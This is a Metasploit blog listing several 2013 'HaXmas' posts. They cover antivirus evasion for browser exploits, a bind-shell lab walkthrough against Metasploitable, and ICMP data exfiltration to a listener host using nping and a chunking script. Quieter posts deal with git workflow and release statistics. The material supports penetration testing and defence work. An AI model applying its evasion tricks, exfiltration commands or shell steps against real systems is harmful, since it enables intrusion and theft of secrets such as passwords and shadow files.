Skip navigation
All Places > Metasploit > Blog
15 16 17 18 19 Previous Next

Metasploit

697 posts

This post is the twelfth, and last, in a series, 12 Days of HaXmas, where we take a look at some of the more notable advancements in the Metasploit Framework over the course of 2013.


tom_jerry.pngIn the final episode of 12 Days of HaXmas, we'll talk about the holy war between browser exploits vs antivirus. It will sound a little biased from time to time, but note that It is not meant to compare who is better -- I don't have the resources to compare the entire matrix of AV solutions, only what's easily accessible by the average population. So, please don't read this like it's a full-blown, multi-million dollar research paper. It's just a blog. I can only discuss this from my own perspective - that is, me as an open source hacking tool provider, and my audience as the users - enjoy!

 

Antivirus evasion is always a cat and mouse game, there is no argument about that. Whatever you do as an attacker, the talented engineers and researchers on the defense side will eventually solve the problems. And then you come up with something new, and the fight goes on until one of us retires. Take Metasploit for example, we offer several features that can be used (or are used) to bypass AV, and this is what's currently happening:

 

TechniquesEffectiveness
Apache Template used by Windows meterpreter

Heavily flagged by most AV.

msfencodeDecoding stub can be flagged by most AV.
Encode more?Popular AVs should still be able to flag it.
Custom template + encode more??Popular AVs should still be able to flag it.
ObfuscateJSIneffective against some AVs.
JSObfuIneffective against some AVs.
Specific exploit writing styleUndetected for a few days, but good luck keeping it that way.
Other commercial-level AV evasion technologiesNot covered in this blog.
Whatever evasion techniques you've made publicAV will most likely flag them.

 

fight_club.pngDoes it look kind of depressing? Yes. However, a wise man once said "if you know your enemies and know yourself, you will not be imperiled in a hundred battles; if you do not know your enemies but do know yourself, you will win one and lose one; if you do not know your enemies nor yourself, you will be imperiled in every single battle." So as an attacker, it's rather important to understand your own strength. You probably also just noticed I said "evasion techniques you've made PUBLIC," because the truth is, attacks should be made to be felt, not seen (my Yoda moment). And this also brings up the "secret" rule about Fight Club: "The first rule of Fight Club is you do NOT talk about Fight Club." You see, my man Tyler Durden just schooled you about cyber wars.

 

But hey, we are Metasploit, so it's our job to keep everything as frank and open as possible. We are the opposite of Fight Club.

 

Let There be Light

 

Despite all the wonderful countermeasures AVs offer, they are still made by humans. What tends to happen is that AVs will only do just enough to make sure a malicious code is detectable. I can't speak for ALL antivirus out there (again, time and resources), but generally speaking these tend to be the places AVs look for in a browser exploit because they're commonly seen, and I'll try to briefly explain each:

 

  • Heap spray routine
  • Trigger for the vulnerability
  • Payload

 

Heap Spray That Gets Flagged

 

Often browser exploits take advantage of some sort of memory corruption, for example: a heap-based overflow, or a use-after-free. And the "heap-spray" exploitation technique is used to prepare a specific memory layout to place the payload at a predicable place, and/or used to leverage an information leak that allows the exploit to read something in memory. There are plenty of ways a heap spray can be done: with images, with Javascript, ActionScript, or whatever. As long as something allocates memory on the heap (with user-controlled size and data), it is a good candidate for heap spraying. A typical spray looks something like this:

spray.png

 

For a quick demonstration, I saved the above Javascript as "i_am_harmless.html", and then uploaded to VirusTotal. See results:

 

av_spray.png

 

So I got flagged, ain't no thing. What actually gets flagged in the code is kind of product-specific, but I'll pick Avast as an example because this is a pretty popular product. To find the specific lines that get flagged, we can use the "dsplit" technique. Basically this is a tool that splits data into chunks, and then you let the AV scan these chunks to identify which ones get flagged, whatever gets flagged is where the AV signature looks for, and that's what you should modify. You can use the same concept to find signatures for browser exploits.

 

For Avast (and apparently, McAfee picks this up too), it specifically looks for the following code in the above Javascript - results here:

 

avast_flag.png

 

How difficult is it to make two lines undetectable, right?:

 

harmless.png

 

As of now, the above code will not be flagged by AVs, results can be found here. It's a very basic example on how exploits can bypass AVs, but should be enough to make a point. However, not all memory corruption based exploits need heap spraying. In the case of a use-after-free, if you have precise control of the memory release, the invalid use, you don't have to spray... well, at least no more than 18+1 times: 18 consecutive times to make sure a specific allocation size is enabled, the +1 to actually overwrite the freed memory right after that happens. Stuff like this is still pretty hard to detect, here's an example (i_am_kinda_harmless.html):

 

no_spray.png

 

The above code would look malicious in the eyes of an exploit developer, but not for an antivirus:

 

test.png

 

In case you're wondering why this would be malicious, it's because:

 

  • In function lfh(), the image object creates a specific size on the heap, and then the appendChild() calls in the loop will keep these allocations.
  • In function overwrite(), when you assign something to the className property, you also trigger a heap allocation. If you're really curious, you can read this tutorial about "DOM Element Property Spray" by Peter Van Eeckhoutte, same idea (and callstack, even).
  • When you put these routines in the right order (see main() function), the malicious intend stands out. It's pretty difficult for AVs to catch this behavior, so you'd kind of have to hope they catch something else in the code, like the trigger.

 

Trigger That Gets Flagged

 

A "trigger" is code that triggers the vulnerability, which implies triggers are bug-specific. There are a few ways your trigger wouldn't be detected:

 

  • It's an 0day, there is no perfect and universal solution to find them all.
  • There is more than one way to trigger the bug. For example: use-after-frees are commonly triggered by one or more event handlers, sometimes one is flagged but you still have other options available. Same with how you create an object, how you free, etc.
  • Obfuscation.
  • Modify a few keywords, and then you're done. This is so ridiculously easy, I'll use this one as an example.

 

The following code is part of MS12-063 (execCommand use-after-free). Originally I was testing against G DATA, and at the time (almost a year ago) this is what it was flagging for the exploit:

ms12_063.png

 

However, G DATA actually wasn't the only one flagging this code. Others like Ad-Aware, BitDefender, Emsisoft, F-Secure, MicroWorld-eScan, nProtect also flagged it as an exploit:

 

flagged_trigger.png

 

Are you ready to know how to bypass this? Here's how:

 

bypassed_exploit.png

 

And nobody picks it up again:

 

harmess_proof.png

 

Payload That Gets Flagged

 

One thing you should know about browser exploit payloads getting flagged is that, well, most of the time they're not flagged :-) So this makes things a lot easier for us. Metasploit browser exploits are already using payloads that are encoded with x86/shikata_ga_nai in Javascript format (little endian), which is the equivalent of the following command:

 

msfpayload windows/meterpreter/reverse_tcp lhost=[IP] lport=[PORT] R |msfencode -t js_le

















 

When I uploaded the Javascript-based payload to VirusTotal, only two picked it up:

payload_detection.png

 

It's pretty easy to get around these two with the Rex::Exploitation::JSObfu API in Metasploit. The lazy me did something like this during the experiment:

 

msf > irb
[*] Starting IRB shell...


>> p = %Q| YOUR JAVASCRIPT PAYLOAD |
>> Rex::Exploitation::JSObfu.new(p)
>> js.obfuscate
>> puts js
... The obfuscated output will be generated ...

















 

And the obfuscated version bypassed both of them (Microsoft and Norman):

 

payload_bypassing_av.png

 

There's a little bit more to how AVs detect browser exploits. Another thing we haven't covered is the use of browser extensions to detect malicious pages at real time. There are also ways around them, but perhaps we'll share that experience with you next time. The moral of the story is that as you can see, AV evasion is a never-ending game. If your'e the user type, personally my take is it never hurts to learn how to code a little bit in your spare time, and modify a few lines of code in the exploit to get things smoothly when the time comes. And I promise you, it will come. After all, a tool is only as good as the skills of the craftsman/woman using it. If you are the developer type, now that you're more knowledgable about this cat and mouse game than ever, it is up to you to decide which side you want to contribute (offensive or defensive), and make the world a little better.

This post is the eleventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

Make no mistake -- the initial learning curve for git and GitHub can be pretty hairy. Way back in 2011, we made the initial move to GitHub for our source code hosting, but it took us until 2013 to remove the last vestiges of our old SVN infrastructure. In the meantime, we've picked up a fair amount of git and GitHub smarts. For HaXmas, I'd like to share with you some of the nuggets I've incorporated in how Metasploit uses git and GitHub. I know the guys over at nmap are considering the move, so maybe they can get a little ahead of the game with this post.

octocat_1024x2.png

 

SSH Aliasing github.com

I heart strong crypto, so for talking to GitHub, I use public key authentication by creating some aliases in my .ssh/config. I also use different keys for different accounts, so if I manage to get owned on one, I don't automatically sacrifice the other. The relevant bit of my .ssh/config is here, and so when ever I need to create new mappings to remotes to GitHub, I just use "github-r7" for a username and password and it's all taken care of behind the scenes. For example, if I want to start tracking Juan's Metasploit fork, I'd just use:

 

git remote add -f jvazquez-r7 github-r7:jvazquez-r7/metasploit-framework.git

 

If Juan was kind enough to give me committer access to his fork, I could then go and push things to his fork directly. If he didn't, no big deal, I just get read only -- and as you'll see later, I wouldn't often (ever?) want to write to Juan's fork anyway -- I'll just send him Pull Requests. (In GitHub parlance, a pull request is a suggested change, feature, bug fix, documentation change, etc. -- we'll see more about those in a second.)

 

Origin vs. Upstream

In git, the names of remotes (places where copies of your source code live) are not supposed to be reserved or special. However, "origin" is usually treated specially -- it's normally where your default remote repo lives. This is great if you're the only one who works on your code, and you only occasionally get pull requests from others.

 

For Metasploit, we have a few folks with commit rights to the main repository, but because so many people fork and pull from it throughout the day, we avoid editing it directly too much. Plus, most people who contribute Metasploit code don't have direct committer rights.

 

Metasploit developers always treat "origin" as their own fork of Metasploit (where they can write), and "upstream" as the main rapid7 fork. This is true for bothprivileged committers and unprivileged pull requestors (aka, random hackers from the Internet).  That way, we all can use the same terminology when we're talking about pushing code to GitHub, and everyone communicates changes to Metasploit in the form of pull requests.

 

In my .git/config file for metasploit-framework, the two repos look like this:

 

[remote "origin"]
  fetch = +refs/heads/*:refs/remotes/origin/*
  fetch = +refs/pull/*/head:refs/remotes/origin/pr/*
  url = github-r7:todb-r7/metasploit-framework
[remote "upstream"]
  fetch = +refs/heads/*:refs/remotes/upstream/*
  fetch = +refs/pull/*/head:refs/remotes/upstream/pr/*
  url = github-r7:rapid7/metasploit-framework

 

This is not a default config; you need to edit it up yourself if you want to play along. Notice how I'm using "github-r7" as a user@server string -- as stated above, that's defined in my .ssh/config.  Also notice the magic pr refs line in the middle of each remote definition. That lets me do things like 'git checkout upstream/pr/1234' to get a copy of PR #1234's code locally. Super useful and that really speeds up development quite a bit, since I don't usually have to track everybody's remote seperately.

 

Signed commits

One of the greatest features of git, as far as security goes, is also one of the least used: the ability to PGP/GPG sign each commit that lands on any branch. Setting up git signing is pretty straightforward, and potentially offers a ton of integrety to the codebase. For Metasploit, I maintain a a registry of committer keys so anyone who cares to can verify that merges to Rapid7's master branch are really and truly from the people they're claiming to be, and not from someone who has managed to guess one of our passwords (or from someone simply pretending to be someone else via "git commit --author=HD Moore" or something).

 

Unfortunately, I say "potentially" for a reason -- while signing is supported today, it's surprisingly difficult to have a rule like, "Reject all unsigned merges" for your local checkout -- you basically have to use your eyeballs, or hack up some script that will parse the text output. At least, I haven't found a good way to do it yet -- if you know, tell me!

 

Useful Git Aliases

So let's pull all this together with some useful git aliases. These live in either your ~/.gitconfig or in your path-to-metasploit-framework/.git/config files (the latter will supersede the former in the case of conflicts).

 

It's often said around the Rapid7 office that some day, a really great versioning system will be built on top of git. In the meantime, we get by with a selection of aliases that pretty much anyone can start using right away.  If you want all the details of what I use for day-to-day development on Metasploit, you can peep the details of my ~/.gitconfig and my metasploit-framework specific .git/config files. Here are the highlights, though:

 

  m = merge -S --no-ff --edit
  c = commit -S --edit

 

With these, I never type "git commit" or "git merge" anymore; just "git c" and "git m". Under the covers, I'm always signing all of my commits with my GPG key, and I'm always getting the opportunity to edit my commit message (instead of using git's sometimes useless defaults).

 

  publish = push upstream upstream-master:master

 

Because we don't ever edit rapid7/metasploit-framework master branch directly, we never treat the rapid7 repository as "origin." This makes pushing to rapid7's master branch a little tricky, though, so this alias saves me the trouble of having to remember the syntax for how to push my merges once they're ready to go.

 

  tag-sprint=!"git tag -s $1 -m \"Tagging as $1\" && git push --tags upstream upstream-master:master && echo Tagged as"

 

Pushing tags, which could vaguely be thought of as version markers, is always a little weird in git's syntax, and when we're operating in our own particular upstream-instead-of-origin paradigm, it's even harder.  This alias automates that up pretty well, though. Now, I just type "git tag-sprint sprint-D02" and it does what I expect.

 

  pr-url =!"xdg-open https://github.com/$(git config github.user)/$(basename $(git rev-parse --show-toplevel))/pull/new/$1:$2...$(git branch-current) #"

 

This is the single most useful alias I have; with this, I can issue a pull request direct from my command line against anyone's branch of Metasploit Framework, or any other git repo I have a fork and local clone of. So, say there's a pull request in for some Metasploit module, from Kernelsmith, but I want to fix up the print_status statements; instead of complaining about it, I can fix it myself and send him the results to incorporate in his branch. Assuming Kernelsmith's branch is called "foo-module" and is part of pull request #1234, the procedure for this would be something like:

 

git checkout -b fix-grammar-foo-module --track upstream/pr/1234
gvim modules/exploits/windows/foo.rb # and save of course
git add -p
git c
git push origin
git pr-url kernelsmith foo-module

 

Once he reviews my pull request to his branch and lands it, the pull request over on Rapid7's repo will be updated automatically. This is exactly the kind of thing that makes git crazy powerful as a collaborative engine. Anyone, not just people with commit rights, can make suggestions for anyone's code. I can PR to you, you can PR to me, we can work things out totally outside of the rapid7 repo, and when we're done, one of us can fire off a pull request that retains all our respective commit histories.

 

Again, there's bunches more of these aliases in in my junk drawer, but hopefully these are enough to get you comfortable with dreaming up git aliases.

 

GitHub Account Security

We use signed commits so we can prove that code changes really come from us, and we also use seperate accounts for committing to Rapid7-authored source code -- if you pay any attention at all to our logs, you'll see that I'm "todb-r7" and not just "todb" when I commit to the Framework.

 

The reason for this is that when you associate your GitHub username to an e-mail address, any of those e-mail addresses can complete a password reset if you (or an attacker) forgot your password. This is kind of a huge bummer, because if any of your associated e-mail addresses gets compromised, it's a straight shot to a password reset. Therefore, all *-r7 accounts are associated with one well-controlled and well-monitored mail server (different accounts, of course), and we don't have freemail/webmail accounts associated with them at all. We've asked GitHub to at least enable some kind of flag that says "Only allow password resets from this e-mail address," but it's not been implemented yet. Boo.

 

That said, the risk of actually getting owned this way is a lot smaller today than it was two years ago, though, thanks to GitHub's most excellent two-factor authentication (2FA). It works pretty much the same as Google's 2FA, where you either get a SMS text or generate a code locally. Note that if you're a T-Mobile customer, or if you need to whitelist SMS sources via shortcode, GitHub's shortcode is "448-482" (GIT-HUB). One super nice feature of GitHub's is that if you're an organization owner, you can check to see which members of your organization have 2FA enabled simply by checking your organization's members page.

 

Getting Started Yet?

Using git and GitHub effectively for code sharing is kind of hard, especially if you have some habits from SVN and earlier source code control systems. But, I hope this post demystifies some of the plumbing a little bit. It took us probably 3-6 months to really get into the swing of things, and we still find some of the darker corners of git somewhat terrifying. So, if you're a n00b, you're definitely not alone. But, if you're willing to learn how to use the world's most popular collaborative open source development platform, we have some documentation at http://r-7.co/MSF-DEV that hopes to help make setting up an environment as straightforward as we can. We're also in the midst of putting together a solid Chef recipe that might make things a little easier.

This post is the tenth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.


donut.pngFor the past couple of months, the Austin office of Rapid7 saw an increased number of unwilling donut offerings made by employees who failed to secure their computers while away from keyboard. These attacks only resulted in confusion and disappointments for the rest of the company, because only a few of the victims actually bought donuts. The agents of the People's Republic of Metasploit were summoned on Friday, and successfully identified the secret vigilante as "TheLightCosine".

 

hacker.jpg

 

"The donut attacks were extremely effective and sophisticated," says HD Moore, Chief Research Officer at Rapid7 and founder of the Metasploit Project. Forensics evidence suggests these hacking incidents began as early as November of 2013, most likely sooner. A compromised machine by the secret vigilante would send an e-mail like the following to the company's internal network using the machine owner's established session:

 

hacked.png

The agents of the People's Republic of Metasploit started an investigation last week, and attempted a counter-intelligence technique known as "webcam_stream" in order to catch TheLightCosine in the act. "webcam_stream" is also now available for download, but current Metasploit users should receive it with a msfupdate. This is actually a meterpreter command that allows the user to turn on a remote webcam and stream it live.

 

To achieve this, the operation team set up a honeypot with an active webcam_stream session:

 

webcam_stream.png

 

The function would create, and automatically open a local Javascript-based player for the live stream. However, instead of playing locally, the agents also streamed it to their smartphones, which can be done by setting up a web server and host the live feed (in JPEG format). They left the honeypot workstation's desktop unlocked, and waited.

 

At 12:39 p.m., TheLightCosine emerged from the darkness and began his assault against the honeypot. The strategy paid off, and the agents managed to get a good look of the hacker live from the phone:

 

live_cam_on_phone.png

 

Armed with high-powered "N-Strike" nerf guns, "TheLightCosine" was finally arrested by the agents following a raid at his workstation in the office on Tuesday. "I'm in total shock right now," says fellow worker James Lee, Metasploit's core developer, "But I do like donuts."

 

msf_raid.jpg

 

 

Check out the alternate ending.

Special thanks to the crew to make the photo shoot happen: TheLightCosine, William Vu, James Lee, Jennifer Chen.

This post is the ninth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

A few months ago, contributor geyslan submitted a cool pull request for a random-port bind shell payload on x86 and x64 Linux systems.

 

In this post, we'll explore how to use this payload with our friends Nmap and Ndiff. Let's get hacking!

 

Why should I use this thing?

 

Well, if you can use a reverse shell or a traditional bind shell, do that! The primary benefit of shell_bind_tcp_random_port is its size. By avoiding the bind call, the payload is a fair bit smaller than your usual bind shell. This could be useful if you have a severe size restriction on your payload.

 

Metasploitable

 

We're using Metasploitable for our vulnerable host. Just boot up the VM with host-only networking enabled, and you should be good to go. In this case, Metasploitable is at 172.16.126.129.

 

Nmap

 

First, we need to get a list of open ephemeral ports using Nmap. An ephemeral port is just a port that the OS assigns automatically and temporarily. Our payload will bind to one of these ports. We use a little shell magic to parse the ephemeral port range in /proc/sys/net/ipv4/ip_local_port_range and feed it to Nmap. We also need to save the scan results to before.xml in order to use Ndiff later.

 

root@kharak:~# nmap -Pn -T5 -n -v -p "$(sed 's/\t/-/' /proc/sys/net/ipv4/ip_local_port_range)" -oX before.xml --open --send-ip 172.16.126.129 Starting Nmap 6.00 ( http://nmap.org ) at 2014-01-02 11:59 CST Initiating SYN Stealth Scan at 11:59 Scanning 172.16.126.129 [28233 ports] Discovered open port 33395/tcp on 172.16.126.129 Discovered open port 47431/tcp on 172.16.126.129 Discovered open port 49712/tcp on 172.16.126.129 Discovered open port 51488/tcp on 172.16.126.129 Completed SYN Stealth Scan at 11:59, 0.31s elapsed (28233 total ports) Nmap scan report for 172.16.126.129 Host is up (0.00014s latency). Not shown: 28229 closed ports PORT      STATE SERVICE 33395/tcp open  unknown 47431/tcp open  unknown 49712/tcp open  unknown 51488/tcp open  unknown MAC Address: 00:0C:29:3D:5A:9B (VMware) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds            Raw packets sent: 28233 (1.242MB) | Rcvd: 28233 (1.129MB) 

 

As you can see, ports {33395,47431,49712,51488}/tcp are open in the ephemeral port range.

 

Metasploit

 

Next, we need to exploit the system. We're using exploit/multi/ssh/sshexec here, since we know that Metasploitable has SSH open with default creds msfadmin:msfadmin.

 

Make sure to use the payload linux/x86/shell_bind_tcp_random_port. That's why we're here, right? :)

 

msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > setg RHOST 172.16.126.129
RHOST => 172.16.126.129
msf exploit(sshexec) > set USERNAME msfadmin
USERNAME => msfadmin
msf exploit(sshexec) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf exploit(sshexec) > set PAYLOAD linux/x86/shell_bind_tcp_random_port
PAYLOAD => linux/x86/shell_bind_tcp_random_port
msf exploit(sshexec) > exploit

[*] 172.16.126.129:22 - Sending Bourne stager...
[*] Command Stager progress -  38.67% done (268/693 bytes)
[*] Command Stager progress - 100.00% done (693/693 bytes)

 

We won't get a session from this, since Metasploit doesn't know which port the payload is running on (by nature of the payload).

 

Nmap and Ndiff

 

Almost there! Now we need to scan the host again to get the new state of open ephemeral ports. We save the results to after.xml.

 

After that, we can use Ndiff on before.xml and after.xml, revealing to us the port our bind shell is on.

 

root@kharak:~# ^before^after nmap -Pn -T5 -n -v -p "$(sed 's/\t/-/' /proc/sys/net/ipv4/ip_local_port_range)" -oX after.xml --open --send-ip 172.16.126.129 Starting Nmap 6.00 ( http://nmap.org ) at 2014-01-02 12:00 CST Initiating SYN Stealth Scan at 12:00 Scanning 172.16.126.129 [28233 ports] Discovered open port 51488/tcp on 172.16.126.129 Discovered open port 49712/tcp on 172.16.126.129 Discovered open port 33395/tcp on 172.16.126.129 Discovered open port 47431/tcp on 172.16.126.129 Discovered open port 36503/tcp on 172.16.126.129 Completed SYN Stealth Scan at 12:01, 0.27s elapsed (28233 total ports) Nmap scan report for 172.16.126.129 Host is up (0.00012s latency). Not shown: 28228 closed ports PORT      STATE SERVICE 33395/tcp open  unknown 36503/tcp open  unknown 47431/tcp open  unknown 49712/tcp open  unknown 51488/tcp open  unknown MAC Address: 00:0C:29:3D:5A:9B (VMware) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds            Raw packets sent: 28233 (1.242MB) | Rcvd: 28233 (1.129MB) root@kharak:~# ndiff {before,after}.xml -Nmap 6.00 scan initiated Thu Jan 02 11:59:37 2014 as: nmap -Pn -T5 -n -v -p 32768-61000 -oX before.xml --open --send-ip 172.16.126.129 +Nmap 6.00 scan initiated Thu Jan 02 12:00:59 2014 as: nmap -Pn -T5 -n -v -p 32768-61000 -oX after.xml --open --send-ip 172.16.126.129 172.16.126.129, 00:0C:29:3D:5A:9B: -Not shown: 28229 closed ports +Not shown: 28228 closed ports PORT      STATE SERVICE VERSION +36503/tcp open 

 

Our bind shell is on port 36503/tcp!

 

Metasploit

 

Finally, we can pop a shell with exploit/multi/handler. Just set PAYLOAD to linux/x86/shell_bind_tcp, LPORT to the port you found with Ndiff, and hit exploit! We already set RHOST globally when we used exploit/multi/ssh/sshexec. :)

 

msf exploit(sshexec) > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/shell_bind_tcp
PAYLOAD => linux/x86/shell_bind_tcp
msf exploit(handler) > set LPORT 36503
LPORT => 36503
msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Command shell session 1 opened (172.16.126.1:41368 -> 172.16.126.129:36503) at 2014-01-02 12:01:39 -0600

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

 

And there you have it! We got a shell. :D

 

Conclusion

 

If you're new to Metasploit and want to try your hand at some awesome hax, you can download it here. Hack the planet!

This post is the eighth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

Today, I want to go in depth on one of the first modules that we committed in 2013: auxiliary/server/icmp_exfil by Chris John Riley. It was fun then, and it's fun a year later, too.

 

First off, on your Metasploit listener machine, which needs to be able to hear ICMP ping replies from the Internet, you'll need to make sure you have libpcap headers and the pcaprub gem installed; while this is standard for Metasploit Community and Pro editions, you'll want to double check your installation if you're on the developer (Github-based) edition. If you don't already have the sniffer libraries installed, and you're on a Debian-like system, it's simply a matter of "apt-get install libpcap-dev; bundle install". You'll also need to run Metasploit as root (in most cases) to run the required packet sniffers.

 

Once you're set, you'll want to run the module, like so:

msf > use auxiliary/server/icmp_exfil 
msf auxiliary(icmp_exfil) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(icmp_exfil) > set BPF_FILTER icmp and not src Y.Y.Y.36
BPF_FILTER => icmp and not src Y.Y.Y.36
msf auxiliary(icmp_exfil) > run

[*] ICMP Listener started on eth0 (Y.Y.Y.36). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)

 

This will start the ICMP listener and let you know what IP address is being monitored. You'll want to note that IP address (or DNS name) before you go on site to your internal client machine, so best to write it on your arm with a Sharpie(tm).

 

Now, if you just want to send a short text string to your listener, it's pretty straight forward with the suggested client, nping. For example, on the internal client, you could exectute:

  
# nping msf-listener.ru --icmp -c1 --data-string "BOFexfilt_data.txt"
# nping msf-listener.ru --icmp -c1 --data-string "Here's the secret password: letmein"
# nping msf-listener.ru --icmp -c1 --data-string "EOF"

...and that will end up creating the "exfilt_data.txt" file on the Metasploit listener.

 

That's fun and all -- really, it is -- but let's see if we can't get some binary data across the wire. For that, you'll need something a tiny little bit more complex. Today, I wrote a quick script for just that, imaginatively named exfiltrate-data.rb. What this does is take a binary file, convert it to hexified ASCII (so "A" becomes "41", "nul" becomes "00", etc), split it into 1400-byte chunks (remember, one ASCIIfied byte is really two bytes now), and send that with nping's --data option. You can grab this script with "curl -L -o exfiltrate-data.rb https://raw.github.com/todb/junkdrawer/master/exfiltrate-data.rb" if you like.

 

Now, I'm the first to admit that this script isn't terribly reliable, which is why it's not likely to ship as part of Metasploit any time soon. For example, my traffic management strategy it just to drop in delays between packets, no ICMP-style acks or anything. In other words, I'm pretty much just hoping for the best and the data will get there in the right order. But, this sort of thing turns out to be pretty good for small hunks of data -- PGP secret keys, shadow files, stuff like that. Here's a quick sample run from the listener's terminal:

  
msf auxiliary(icmp_exfil) > run

[*] ICMP Listener started on eth0 (Y.Y.Y.36). Monitoring for trigger packet containing ^BOF
[*] Filename expected in initial packet, directly following trigger (e.g. ^BOFfilename.ext)
[*] 2014-01-01 20:49:32 -0600: ICMP (type 8 code 0) SRC:X.X.X.113 DST:Y.Y.Y.36
[+] Beginning capture of "exfil-data.bin" data
[+] Response sent to X.X.X.113 containing response trigger : "SEND"
[*] Received 1400 bytes of data from X.X.X.113
[....snip....]
[+] Response sent to X.X.X.113 containing response trigger : "OK"
[*] Received 294 bytes of data from X.X.X.113
[+] Response sent to X.X.X.113 containing response trigger : "OK"
[*] 89894 bytes of data recevied in total
[+] End of File received. Saving "exfil-data.bin" to loot
[+] Incoming file "exfil-data.bin" saved to loot
[+] Loot filename: /home/todb/.msf4/loot/20140101205608_default_Y.Y.Y.36_icmp_exfil_538835.bin
[+] Response sent to X.X.X.113 containing response trigger : "COMPLETE"

 

and here's the client:

 

$ rvmsudo ./exfiltrate-data.rb msf-listener.ru /bin/ls [*] Exfiltrating /bin/ls to msf-listener.ru in 65 chunks. Starting Nping 0.6.00 ( http://nmap.org/nping ) at 2014-01-01 20:49 CST SENT (1.5212s) ICMP Z.Z.Z.208 > Y.Y.Y.36 Echo request (type=8/code=0) ttl=64 id=27281 iplen=45 RCVD (1.5439s) ICMP Y.Y.Y.36 > Z.Z.Z.208 Echo reply (type=0/code=0) ttl=51 id=14842 iplen=45 Max rtt: 22.595ms | Min rtt: 22.595ms | Avg rtt: 22.595ms Raw packets sent: 1 (45B) | Rcvd: 1 (45B) | Lost: 0 (0.00%) Tx time: 0.00126s | Tx bytes/s: 35742.65 | Tx pkts/s: 794.28 Rx time: 1.00199s | Rx bytes/s: 44.91 | Rx pkts/s: 1.00 Nping done: 1 IP address pinged in 2.52 seconds [*] Sent chunk (1/65) [*] Sent chunk (2/65) [*] Sent chunk (3/65) [ .... snip .... ] [*] Sent chunk (63/65) [*] Sent chunk (64/65) [*] Sent chunk (65/65) [*] Ending file... 

 

So, that's the tour for icmp_exfil. As a packet and protocol nerd, I love modules like this. Now that you've got the background on this particular (and fun!) auxiliary module, feel free to poke around the rest of the auxiliary/server tree and see what strikes your fancy. Happy New Year!

This post is the seventh in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

msfconsole.png


Today is the last day of the year, so there's no better time to get all weepy and sentimental about Metasploit development over a glass or four of champagne. I continue to be amazed, honored, and humbled by the amount of talent, skill, and brute force labor that goes in to keeping the Metasploit juggernaut rolling. With that, here's a quick stat check of what we've been up to.

Major Releases

We successfully published three major releases of Metasploit over the course of the year. April saw the release of Metasploit 4.6, which solidified full integration with the Kali Linux distribution as well as coverage for the OWASP 10 (2013 edition). In July, we released Metasploit 4.7, which introduced firewall egress testing and the automation oomph introduced by Metasploit Pro's MetaModules. In November, we published Metasploit 4.8 which boasts much better integration with Nexpose (Rapid7's delightful vulnerability scanner) for vulnerability validation capabilities.

 

New Content

Coincidentally, we ended the year in 2012 with exactly 2012 modules, across exploits, auxiliary and post modules, and payloads. We're ending 2013 with 2448 modules; that's just about 1.2 modules a day, every day. Major target categories that got attention were client-side browser and file format exploits (made easier now with the new BrowserExploitServer mixin), a bunch of new cross-platform web application server-side exploits, and of course the SAP modules that we've been yammering about since October. We also now have a huge trove of new SOHO router scanners and exploits, which are themselves a subset of our newly extended ARM and MIPS embedded device target support which Juan talked about yesterday.

 

More Meterpreters

OJ talked at length earlier this HaXmas about the Windows Meterpreter overhaul, but did you know that we've made significant advances with Java Meterpreter and landed the brand new and most excellent Python Meterpreter? Yep, and the Android Meterpreter is still coming along, too. It's been a great year all around for Metasploit payloads -- we have over 100 payloads new to 2013, so if you haven't peeked in on those lately, now's a fine time to catch up.

 

More Contributors

Finally, but most importantly, we've had some amazing support from the open source security community over 2013. We've had 204 committers over the year to Metasploit, more than any other year. The depth of talent, drive, and commitment among these committers really and truly does astound me every day. Y'all are the reason why Metasploit is where it is today.

 

The top 25 commiters (according to git logs) are:

 

Name/AliasCommit Count
jvazquez-r71403
wchen-r71096
todb-r7540
jlee-r7338
Meatballs1324
wvu-r7163
dmaloney-r7155
joev-r7122
m-1-k-3121
hmoore-r794
OJ89
bturner-r771
limhoff-r770
FireFart68
swtornio51
Spencer McIntyre47
jiuweigui45
tasos-r743
nmonkee41
kernelsmith39
r3dy38
mubix35
Andras Kabai34
darkoperator33
RageLtMan32

 

